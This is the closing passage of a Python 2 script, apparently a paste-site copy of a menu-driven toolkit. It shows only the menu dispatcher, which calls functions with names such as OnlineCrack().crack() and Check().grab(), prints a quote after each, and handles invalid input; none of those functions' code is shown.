  702.         elif option == '7':
  703.             subd()
  704.             print choice(quotes)
  705.         elif option == '8':
  706.             word()
  707.             print choice(quotes)
  708.         elif option == '9':
  709.             OnlineCrack().crack()
  710.             print choice(quotes)
  711.                  
  712.         elif option == '10':
  713.             Check().grab()
  714.             print choice(quotes)     
  715.         else:
  716.             print R+'\nInvalid Choice\n' + W
  717.             time.sleep(0.9)
  718.             main()  
  719.  
  720.     else:
  721.         print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W
  722.         time.sleep(0.9)
  723.         main()
  724.  
  725.  
  726. if __name__ == '__main__':
  727.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement